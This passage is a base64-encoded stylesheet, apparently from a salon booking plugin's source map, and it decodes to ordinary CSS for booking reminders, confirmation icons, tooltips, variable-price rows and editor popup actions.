C1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG4gICAgZm9udC1zaXplOiAxLjVlbTtcbiAgICBsaW5lLWhlaWdodDogMDtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogNTAlO1xuICAgIGxlZnQ6IDBweDtcbiAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG4gICAgLW1vei1vc3gtZm9udC1zbW9vdGhpbmc6IGdyYXlzY2FsZTtcbiAgICBib3JkZXItcmFkaXVzOiA1MCU7XG59XG5cbi5zbG4tYm9va2luZy1yZW1pbmRlci1zbXM6YmVmb3JlIHtcbiAgICBjb250ZW50OiBcInNtc1wiO1xuICAgIG1hcmdpbi10b3A6IDFweDtcbn1cblxuLnNsbi1ib29raW5nLXJlbWluZGVyLWVtYWlsOmJlZm9yZSB7XG4gICAgY29udGVudDogXCJlbWFpbFwiO1xufVxuXG4uc2xuLWJvb2tpbmctcmVtaW5kZXItYXdhaXQge1xuICAgIGNvbG9yOiBvcmFuZ2U7XG59XG5cbi5zbG4tYm9va2luZy1yZW1pbmRlci1lcnJvcjpiZWZvcmUge1xuICAgIGNvbG9yOiByZWQ7XG59XG5cbi5zbG4tYm9va2luZy1yZW1pbmRlci1zdWNjZXNzOmJlZm9yZSB7XG4gICAgY29sb3I6IGdyZWVuO1xufVxuKi9cbi5zbG4tYm9va2luZy1yZW1pbmRlciB7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgcGFkZGluZy1sZWZ0OiAyNXB4O1xufVxuXG4uc2xuLWJvb2tpbmctcmVtaW5kZXIge1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgdG9wOiAwO1xuICB0cmFuc2l0aW9uOiB0b3AgZWFzZSAwLjVzO1xufVxuXG4uc2xuLWJvb2tpbmctcmVtaW5kZXI6aG92ZXIge1xuICB0b3A6IC0zcHg7XG59XG4vKiBGSVggMDkyMDIzXG4uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uIC5zbG4tYm9va2luZy1jb25maXJtYXRpb24tc3VjY2VzczpiZWZvcmUge1xuICAgIGZvbnQtZmFtaWx5OiBcIk1hdGVyaWFsIEljb25zXCI7XG4gICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgICBsaW5lLWhlaWdodDogMTtcbiAgICBsZXR0ZXItc3BhY2luZzogbm9ybWFsO1xuICAgIHRleHQtdHJhbnNmb3JtOiBub25lO1xuICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gICAgd29yZC13cmFwOiBub3JtYWw7XG4gICAgZGlyZWN0aW9uOiBsdHI7XG4gICAgLXdlYmtpdC1mb250LWZlYXR1cmUtc2V0dGluZ3M6IFwibGlnYVwiO1xuICAgIGZvbnQtc2l6ZTogMjRweDtcbiAgICBsaW5lLWhlaWdodDogMDtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgY29udGVudDogXCJjaGVja19jaXJjbGVcIjtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiA1MCU7XG4gICAgbGVmdDogMHB4O1xuICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICAtd2Via2l0LWZvbnQtc21vb3RoaW5nOiBhbnRpYWxpYXNlZDtcbiAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgICBjb2xvcjogIzVjYjg1Yztcbn1cblxuLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbiAuc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLWVycm9yOmJlZm9yZSB7XG4gICAgZm9udC1mYW1pbHk6IFwiTWF0ZXJpYWwgSWNvbnNcIjtcbiAgICBmb250LXdlaWdodDogNDAwO1xuICAgIGxpbmUtaGVpZ2h0OiAxO1xuICAgIGxldHRlci1zcGFjaW5nOiBub3JtYWw7XG4gICAgdGV4dC10cmFuc2Zvcm06IG5vbmU7XG4gICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICB3b3JkLXdyYXA6IG5vcm1hbDtcbiAgICBkaXJlY3Rpb246IGx0cjtcbiAgICAtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG4gICAgZm9udC1zaXplOiAyNHB4O1xuICAgIGxpbmUtaGVpZ2h0OiAwO1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICBjb250ZW50OiBcImNhbmNlbFwiO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDUwJTtcbiAgICBsZWZ0OiAwcHg7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgIC1tb3otb3N4LWZvbnQtc21vb3RoaW5nOiBncmF5c2NhbGU7XG4gICAgYm9yZGVyLXJhZGl1czogNTAlO1xuICAgIGNvbG9yOiAjYzkzMDJjO1xufVxuKi9cbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24gLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi1zdWNjZXNzLFxuLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbiAuc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLWVycm9yIHtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICB3aWR0aDogMjBweDtcbiAgaGVpZ2h0OiAyMHB4O1xuICBjdXJzb3I6IHBvaW50ZXI7XG59XG5cbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24ge1xuICBkaXNwbGF5OiBmbGV4O1xufVxuXG4uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uIC5zbG4tYm9va2luZy1jb25maXJtYXRpb24tc3VjY2VzcyB7XG4gIG1hcmdpbi1yaWdodDogMTBweDtcbn1cblxuLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi5sb2FkaW5nIC5zbG4tYm9va2luZy1jb25maXJtYXRpb24tc3VjY2Vzcyxcbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24ubG9hZGluZyAuc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLWVycm9yIHtcbiAgZGlzcGxheTogbm9uZTtcbn1cblxuLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi5sb2FkaW5nXG4gIC5zbG4tYm9va2luZy1jb25maXJtYXRpb24tYWxlcnQtbG9hZGluZzo6YmVmb3JlIHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICBjb250ZW50OiAnJztcbiAgd2lkdGg6IDEuMjVyZW07XG4gIGhlaWdodDogMS4yNXJlbTtcbiAgYm9yZGVyOiAzcHggc29saWQgIzY4OTZiYztcbiAgYm9yZGVyLXJhZGl1czogNTAlO1xuICBib3JkZXItcmlnaHQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAtd2Via2l0LXRyYW5zZm9ybTogdHJhbnNsYXRlWigwKTtcbiAgLW1zLXRyYW5zZm9ybTogdHJhbnNsYXRlWigwKTtcbiAgdHJhbnNmb3JtOiB0cmFuc2xhdGVaKDApO1xuICAtd2Via2l0LWFuaW1hdGlvbjogbG9hZDggMS4xcyBpbmZpbml0ZSBsaW5lYXI7XG4gIGFuaW1hdGlvbjogbG9hZDggMS4xcyBpbmZpbml0ZSBsaW5lYXI7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgbGVmdDogMDtcbn1cblxuLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi5sb2FkaW5nIC5zbG4tYm9va2luZy1jb25maXJtYXRpb24tYWxlcnQtbG9hZGluZyB7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgcGFkZGluZy1sZWZ0OiAyNXB4O1xuICBmb250LXdlaWdodDogYm9sZDtcbn1cblxuLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi5sb2FkaW5nXG4gIC5zbG4tYm9va2luZy1jb25maXJtYXRpb24tYWxlcnQtbG9hZGluZy5zdWNjZXNzIHtcbiAgY29sb3I6ICM1Y2I4NWM7XG59XG5cbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24ubG9hZGluZ1xuICAuc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLWFsZXJ0LWxvYWRpbmcuZGFuZ2VyIHtcbiAgY29sb3I6ICNjOTMwMmM7XG59XG5cbi5ib29raW5nX2FjdGlvbnMge1xuICBoZWlnaHQ6IDI0cHg7XG59XG5cbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLWRpc2FibGVkXG4gIC5zbG4tYm9va2luZy1jb25maXJtYXRpb24tc3VjY2VzczpiZWZvcmUsXG4uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi1kaXNhYmxlZFxuICAuc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLWVycm9yOmJlZm9yZSB7XG4gIGNvbG9yOiAjY2NjO1xuICBjdXJzb3I6IG5vdC1hbGxvd2VkO1xufVxuXG4uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uIHtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xufVxuXG4uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLXRvb2x0aXAge1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIHRvcDogLTQ1cHg7XG4gIHJpZ2h0OiAxMCU7XG4gIHotaW5kZXg6IDEwMDtcbiAgYmFja2dyb3VuZDogIzAxMzU1MztcbiAgY29sb3I6IHdoaXRlO1xuICBwYWRkaW5nOiAxMHB4O1xuICBib3JkZXItcmFkaXVzOiA0cHg7XG4gIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gIGRpc3BsYXk6IG5vbmU7XG59XG5cbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24tdG9vbHRpcCBhIHtcbiAgY29sb3I6IHdoaXRlO1xufVxuXG4uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi1kaXNhYmxlZDpob3ZlclxuICAuc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLXRvb2x0aXAge1xuICBkaXNwbGF5OiBibG9jaztcbn1cbi8qIEZJWCAwOTIwMjNcbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLWRpc2FibGVkXG4gICAgLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi10b29sdGlwOjphZnRlciB7XG4gICAgbWFyZ2luLWxlZnQ6IDA7XG4gICAgZm9udC1mYW1pbHk6IFwiTWF0ZXJpYWwgSWNvbnNcIjtcbiAgICBsZXR0ZXItc3BhY2luZzogbm9ybWFsO1xuICAgIHRleHQtdHJhbnNmb3JtOiBub25lO1xuICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gICAgd29yZC13cmFwOiBub3JtYWw7XG4gICAgZGlyZWN0aW9uOiBsdHI7XG4gICAgLXdlYmtpdC1mb250LWZlYXR1cmUtc2V0dGluZ3M6IFwibGlnYVwiO1xuICAgIGZvbnQtc2l6ZTogMjVweDtcbiAgICBsaW5lLWhlaWdodDogMTtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgY29udGVudDogXCJjaGV2cm9uX3JpZ2h0XCI7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgIC1tb3otb3N4LWZvbnQtc21vb3RoaW5nOiBncmF5c2NhbGU7XG4gICAgYm9yZGVyLXJhZGl1czogNTAlO1xuICAgIGNvbG9yOiAjZmZkZDUwO1xuICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG59XG4qL1xuXG4vKiBGSVggMDkyMDIzXG4uc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkLnNsbi1ib29raW5nLWRlZmF1bHQtc3RhdHVzOmFmdGVyIHtcbiAgICBtYXJnaW4tbGVmdDogNXB4O1xuICAgIGZvbnQtZmFtaWx5OiBcIk1hdGVyaWFsIEljb25zXCI7XG4gICAgbGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcbiAgICB0ZXh0LXRyYW5zZm9ybTogbm9uZTtcbiAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICAgIHdvcmQtd3JhcDogbm9ybWFsO1xuICAgIGRpcmVjdGlvbjogbHRyO1xuICAgIC13ZWJraXQtZm9udC1mZWF0dXJlLXNldHRpbmdzOiBcImxpZ2FcIjtcbiAgICBmb250LXNpemU6IDE2cHg7XG4gICAgbGluZS1oZWlnaHQ6IDE7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIGNvbnRlbnQ6IFwiZmliZXJfbWFudWFsX3JlY29yZFwiO1xuICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICAtd2Via2l0LWZvbnQtc21vb3RoaW5nOiBhbnRpYWxpYXNlZDtcbiAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xufVxuKi9cbi5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWFsZXJ0LWxvYWRpbmc6OmJlZm9yZSB7XG4gIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgY29udGVudDogJyc7XG4gIHdpZHRoOiAxLjVyZW07XG4gIGhlaWdodDogMS41cmVtO1xuICBib3JkZXI6IDNweCBzb2xpZCAjNjg5NmJjO1xuICBib3JkZXItcmFkaXVzOiA1MCU7XG4gIGJvcmRlci1yaWdodC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gIC13ZWJraXQtdHJhbnNmb3JtOiB0cmFuc2xhdGVaKDApO1xuICAtbXMtdHJhbnNmb3JtOiB0cmFuc2xhdGVaKDApO1xuICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVooMCk7XG4gIC13ZWJraXQtYW5pbWF0aW9uOiBsb2FkOCAxLjFzIGluZmluaXRlIGxpbmVhcjtcbiAgYW5pbWF0aW9uOiBsb2FkOCAxLjFzIGluZmluaXRlIGxpbmVhcjtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICBsZWZ0OiAxMHB4O1xufVxuXG4uc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1ibG9jay1sYWJlbC1kaXNhYmxlZCB7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbn1cbi8vIG5vdyAuc2xuLXByb2ZlYXR1cmVfX3Rvb2x0aXBcbi8vIC5zbG4tYm9va2luZy1wcm8tZmVhdHVyZS10b29sdGlwIHtcbi8vICAgcG9zaXRpb246IGFic29sdXRlO1xuLy8gICB0b3A6IC00NXB4O1xuLy8gICByaWdodDogNSU7XG4vLyAgIHotaW5kZXg6IDEwMDtcbi8vICAgYmFja2dyb3VuZDogIzAxMzU1Mztcbi8vICAgY29sb3I6IHdoaXRlO1xuLy8gICBwYWRkaW5nOiAxMHB4O1xuLy8gICBib3JkZXItcmFkaXVzOiA0cHg7XG4vLyAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4vLyAgIGRpc3BsYXk6IG5vbmU7XG4vLyB9XG5cbi8vICNzbG4tc2Fsb24tLWFkbWluIC5zbG4tYm9va2luZy1wcm8tZmVhdHVyZS10b29sdGlwIGEsXG4vLyAjc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWJvb2tpbmctcHJvLWZlYXR1cmUtdG9vbHRpcCBhOmhvdmVyIHtcbi8vICAgY29sb3I6IHdoaXRlO1xuLy8gfVxuXG4vLyAuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1ibG9jay1sYWJlbC1kaXNhYmxlZDpob3ZlclxuLy8gICAuc2xuLWJvb2tpbmctcHJvLWZlYXR1cmUtdG9vbHRpcCB7XG4vLyAgIGRpc3BsYXk6IGJsb2NrO1xuLy8gfVxuLyogRklYIDA5MjAyM1xuLnNsbi1ib29raW5nLXByby1mZWF0dXJlLXRvb2x0aXA6OmFmdGVyIHtcbiAgICBtYXJnaW4tbGVmdDogMDtcbiAgICBmb250LWZhbWlseTogXCJNYXRlcmlhbCBJY29uc1wiO1xuICAgIGxldHRlci1zcGFjaW5nOiBub3JtYWw7XG4gICAgdGV4dC10cmFuc2Zvcm06IG5vbmU7XG4gICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICB3b3JkLXdyYXA6IG5vcm1hbDtcbiAgICBkaXJlY3Rpb246IGx0cjtcbiAgICAtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG4gICAgZm9udC1zaXplOiAyNXB4O1xuICAgIGxpbmUtaGVpZ2h0OiAxO1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICBjb250ZW50OiBcImNoZXZyb25fcmlnaHRcIjtcbiAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG4gICAgLW1vei1vc3gtZm9udC1zbW9vdGhpbmc6IGdyYXlzY2FsZTtcbiAgICBib3JkZXItcmFkaXVzOiA1MCU7XG4gICAgY29sb3I6ICNmZmRkNTA7XG4gICAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcbn1cbiovXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1ibG9jay1sYWJlbC1kaXNhYmxlZFxuICAuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1sYWJlbC1zZXQsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1ibG9jay1sYWJlbC1kaXNhYmxlZFxuICAuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1sYWJlbC1zZXQ6aG92ZXIge1xuICBjb2xvcjogI2NjYztcbiAgY3Vyc29yOiBub3QtYWxsb3dlZDtcbn1cblxuLnNsbi12YXJpYWJsZS1wcmljZS1hdHRlbmRhbnRzLS1oZWFkZXIge1xuICBmb250LXNpemU6IDE0cHg7XG4gIHBhZGRpbmc6IDIwcHggMDtcbiAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIHJnYmEoMTk5LCAyMjMsIDI0MywgMC41KTtcbiAgZm9udC13ZWlnaHQ6IGJvbGQ7XG59XG5cbi5zbG4tdmFyaWFibGUtcHJpY2UtYXR0ZW5kYW50cy0tcm93IHtcbiAgZm9udC1zaXplOiAxNHB4O1xuICBwYWRkaW5nOiAyMHB4IDA7XG59XG5cbi5zbG4tdmFyaWFibGUtcHJpY2UtYXR0ZW5kYW50cy0tcm93LFxuLnNsbi12YXJpYWJsZS1wcmljZS0taGVhZGVyIHtcbiAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIHJnYmEoMTk5LCAyMjMsIDI0MywgMC41KTtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi12YXJpYWJsZS1wcmljZS1hdHRlbmRhbnRzLS1yb3cgLnNsbi1pbnB1dC0tc2ltcGxlIHtcbiAgbWFyZ2luLWJvdHRvbTogMDtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi12YXJpYWJsZS1wcmljZS0taGVhZGVyIC5zbG4tc3dpdGNoIHtcbiAgbWFyZ2luLWJvdHRvbTogMDtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi12YXJpYWJsZS1wcmljZS0taGVhZGVyXG4gIC5zbG4tc3dpdGNoLnNsbi1zd2l0Y2gtLWJhcmVcbiAgbGFiZWxcbiAgc3BhbixcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tdmFyaWFibGUtcHJpY2UtLWhlYWRlclxuICAuc2xuLXN3aXRjaC5zbG4tc3dpdGNoLS1iYXJlXG4gIGxhYmVsXG4gIHNwYW46aG92ZXIge1xuICBmb250LXNpemU6IDE2cHg7XG59XG5cbi5zbG4tdmFyaWFibGUtcHJpY2UgLnNsbi1ib3gtLWhhc3BhbmVsIHtcbiAgcGFkZGluZy10b3A6IDE1cHg7XG59XG5cbi5zbG4tdmFyaWFibGUtcHJpY2UgLnNsbi1ib3gtLWhhc3BhbmVsIC5zbG4tYm94LXRpdGxlLFxuLnNsbi12YXJpYWJsZS1wcmljZS1hdHRlbmRhbnRzLS1yb3ctLWF0dGVuZGFudC10aXRsZSB7XG4gIGxpbmUtaGVpZ2h0OiA0MHB4O1xufVxuXG4uc2xuLXZhcmlhYmxlLXByaWNlLS1kaXNhYmxlZCB7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbn1cbi8vIG5vdyAuc2xuLXByb2ZlYXR1cmVfX3Rvb2x0aXBcbi8vIC5zbG4tdmFyaWFibGUtcHJpY2UtLWRpc2FibGVkOmhvdmVyIC5zbG4tYm9va2luZy1wcm8tZmVhdHVyZS10b29sdGlwIHtcbi8vICAgZGlzcGxheTogYmxvY2s7XG4vLyB9XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tdmFyaWFibGUtcHJpY2UtLWRpc2FibGVkIC5zbG4tc3dpdGNoIC5zbG4tc3dpdGNoLWJ0biB7XG4gIHBvaW50ZXItZXZlbnRzOiBub25lO1xufVxuXG4vLyAjc2xuLXNhbG9uLS1hZG1pblxuLy8gXHQuc2xuLXZhcmlhYmxlLXByaWNlLS1kaXNhYmxlZFxuLy8gXHQuc2xuLXN3aXRjaFxuLy8gXHQuc2xuLXN3aXRjaC1idG5cbi8vIFx0PiBzcGFuIHtcbi8vIFx0Y29sb3I6ICNjY2M7XG4vLyBcdGN1cnNvcjogbm90LWFsbG93ZWQ7XG4vLyB9XG4vLyBub3cgLnNsbi1wcm9mZWF0dXJlX190b29sdGlwXG4vLyAjc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWJvb2tpbmctcHJvLWZlYXR1cmUtdG9vbHRpcCBhIHtcbi8vICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuLy8gfVxuXG4vLyAjc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWJvb2tpbmctcHJvLWZlYXR1cmUtdG9vbHRpcCBhOmhvdmVyIHtcbi8vICAgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7XG4vLyB9XG5cbi5zbG4tc2VydmljZS12YXJpYWJsZS1kdXJhdGlvbiB7XG4gIG1hcmdpbi10b3A6IDIycHg7XG59XG5cbi8vIC5zbG4tc2VydmljZS12YXJpYWJsZS1kdXJhdGlvbi1kaXNhYmxlZCB7XG4vLyBcdHBvc2l0aW9uOiByZWxhdGl2ZTtcbi8vIH1cbi8vbm93IC5zbG4tcHJvZmVhdHVyZV9fdG9vbHRpcFxuLy8gLnNsbi1zZXJ2aWNlLXZhcmlhYmxlLWR1cmF0aW9uLWRpc2FibGVkOmhvdmVyIC5zbG4tYm9va2luZy1wcm8tZmVhdHVyZS10b29sdGlwIHtcbi8vICAgZGlzcGxheTogYmxvY2s7XG4vLyB9XG5cbi8vICNzbG4tc2Fsb24tLWFkbWluXG4vLyBcdC5zbG4tc2VydmljZS12YXJpYWJsZS1kdXJhdGlvbi1kaXNhYmxlZFxuLy8gXHQuc2xuLXNlcnZpY2UtdmFyaWFibGUtZHVyYXRpb24tLWNoZWNrYm94LFxuLy8gI3Nsbi1zYWxvbi0tYWRtaW5cbi8vIFx0LnNsbi1zZXJ2aWNlLXZhcmlhYmxlLWR1cmF0aW9uLWRpc2FibGVkXG4vLyBcdC5zbG4tc2VydmljZS1tdWx0aXBsZS1hdHRlbmRhbnRzLWZvci1zZXJ2aWNlIHtcbi8vIFx0Y29sb3I6ICNjY2NjY2M7XG4vLyBcdGN1cnNvcjogbm90LWFsbG93ZWQ7XG4vLyBcdG9wYWNpdHk6IDAuNTtcbi8vIH1cblxuLy8gI3Nsbi1zYWxvbi0tYWRtaW5cbi8vIFx0LnNsbi1zZXJ2aWNlLXZhcmlhYmxlLWR1cmF0aW9uLWRpc2FibGVkXG4vLyBcdC5zbG4tc2VydmljZS12YXJpYWJsZS1kdXJhdGlvbi0tY2hlY2tib3hcbi8vIFx0bGFiZWwsXG4vLyAjc2xuLXNhbG9uLS1hZG1pblxuLy8gXHQuc2xuLXNlcnZpY2UtdmFyaWFibGUtZHVyYXRpb24tZGlzYWJsZWRcbi8vIFx0LnNsbi1zZXJ2aWNlLW11bHRpcGxlLWF0dGVuZGFudHMtZm9yLXNlcnZpY2Uge1xuLy8gXHRwb2ludGVyLWV2ZW50czogbm9uZTtcbi8vIH1cblxuLnNsbi1lZGl0b3ItcG9wdXAtYWN0aW9ucyB7XG4gIHBvc2l0aW9uOiBmaXhlZDtcbiAgYmFja2dyb3VuZC1jb2xvcjogd2hpdGU7XG4gIHdpZHRoOiAxMDAlO1xuICBib3R0b206IDA7XG4gIGxlZnQ6IDA7XG4gIHotaW5kZXg6IDEwMDAwMDtcbiAgZGlzcGxheTogZmxleDtcbiAgaGVpZ2h0OiAxMDBweDtcbiAgcGFkZGluZzogMCAxMHB4O1xuICBhbGlnbi1pdGVtczogY2VudGVyO1xufVxuXG4uc2xuLWVkaXRvci1wb3B1cC1hY3Rpb25zLWxpc3Qge1xuICBkaXNwbGF5OiBmbGV4O1xuICBhbGlnbi1pdGVtczogY2VudGVyO1xuICBqdXN0aWZ5LWNvbnRlbnQ6IGVuZDtcbiAgd2lkdGg6IDcwJTtcbn1cblxuLnNsbi1lZGl0b3ItcG9wdXAtYWN0aW9ucyAuc2xuLWJ0bi0tYmlnIHtcbiAgd2lkdGg6IDMzJTtcbiAgbWF4LXdpZHRoOiAxMy4zMzMzMzMzcmVtO1xuICBtaW4td2lkdGg6IDA7XG59XG5cbi5zbG4tZWRpdG9yLXBvcHVwLWFjdGlvbnMgLnNsbi1kdXBsaWNhdGUtYm9va2luZyB7XG4gIC8qIEZJWCAwOTIwMjNcbiAgICB3aWR0aDogMzMlO1xuICAgIG1heC13aWR0aDogMTMuMzMzMzMzM3JlbTtcbiAgICAqL1xuICBtaW4td2lkdGg6IDA7XG59XG5cbi5zbG4tZWRpdG9yLXBvcHVwLWFjdGlvbnMgLnNsbi1kdXBsaWNhdGUtYm9va2luZyAuc2xuLWJ0bi0tYmlnIHtcbiAgbWluLXdpZHRoOiAxMDAlO1xufVxuXG4uc2xuLWVkaXRvci1wb3B1cC1hY3Rpb25zIC5zbG4tbGFzdC1lZGl0IHtcbiAgd2lkdGg6IDMwJTtcbn1cblxuLnNsbi1sYXN0LWVkaXQgLmJvb2tpbmctbGFzdC1lZGl0LWRhdGUsXG4uc2xuLWxhc3QtZWRpdCAuYm9va2luZy1sYXN0LWVkaXQtdGltZSxcbi5zbG4tbGFzdC1lZGl0IC5ib29raW5nLWxhc3QtZWRpdC1hdXRob3Ige1xuICBmb250LXdlaWdodDogYm9sZDtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1zZWxlY3QgLnNsbi1uby1hdHRlbmRhbnQtcmVxdWlyZWQge1xuICBmb250LXNpemU6IDE0cHg7XG59XG5cbi5zbG4tYWxlcnQuc2xuLWFsZXJ0LS1tdWx0aXBsZSB7XG4gIC8qIEZJWCAwOTIwMjNcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiAtMzBweDtcbiAgICAqL1xuICBwYWRkaW5nOiAwIDIwcHg7XG59XG5cbi5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtMy5zbG4tc2VsZWN0IC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGU6YmVmb3JlIHtcbiAgZGlzcGxheTogbm9uZTtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgI3Nsbl9ib29raW5nLWRldGFpbHNcbiAgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC0zLnNsbi1zZWxlY3RcbiAgLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZVxuICAuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcbiAgcGFkZGluZzogMDtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgI3Nsbl9ib29raW5nLWRldGFpbHNcbiAgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC0zLnNsbi1zZWxlY3RcbiAgLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZVxuICAuc2VsZWN0Mi1zZWxlY3Rpb25fX2Nob2ljZSB7XG4gIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICBjb2xvcjogcmdiKDAsIDUzLCA4Myk7XG59XG5cbi5zbG4tY2FsZW5kYXItcGx1Z2luLXVwZGF0ZS1ub3RpY2UtLXdyYXBwZXIgLnNsbi1ub3RpY2VfX3dyYXBwZXIge1xuICBkaXNwbGF5OiBibG9jaztcbiAgd2lkdGg6IDEwMCU7XG59XG4uc2xuLWNhbGVuZGFyLS13cmFwcGVyIC5jdXJyZW50LXZpZXctLXRpdGxlOmFmdGVyIHtcbiA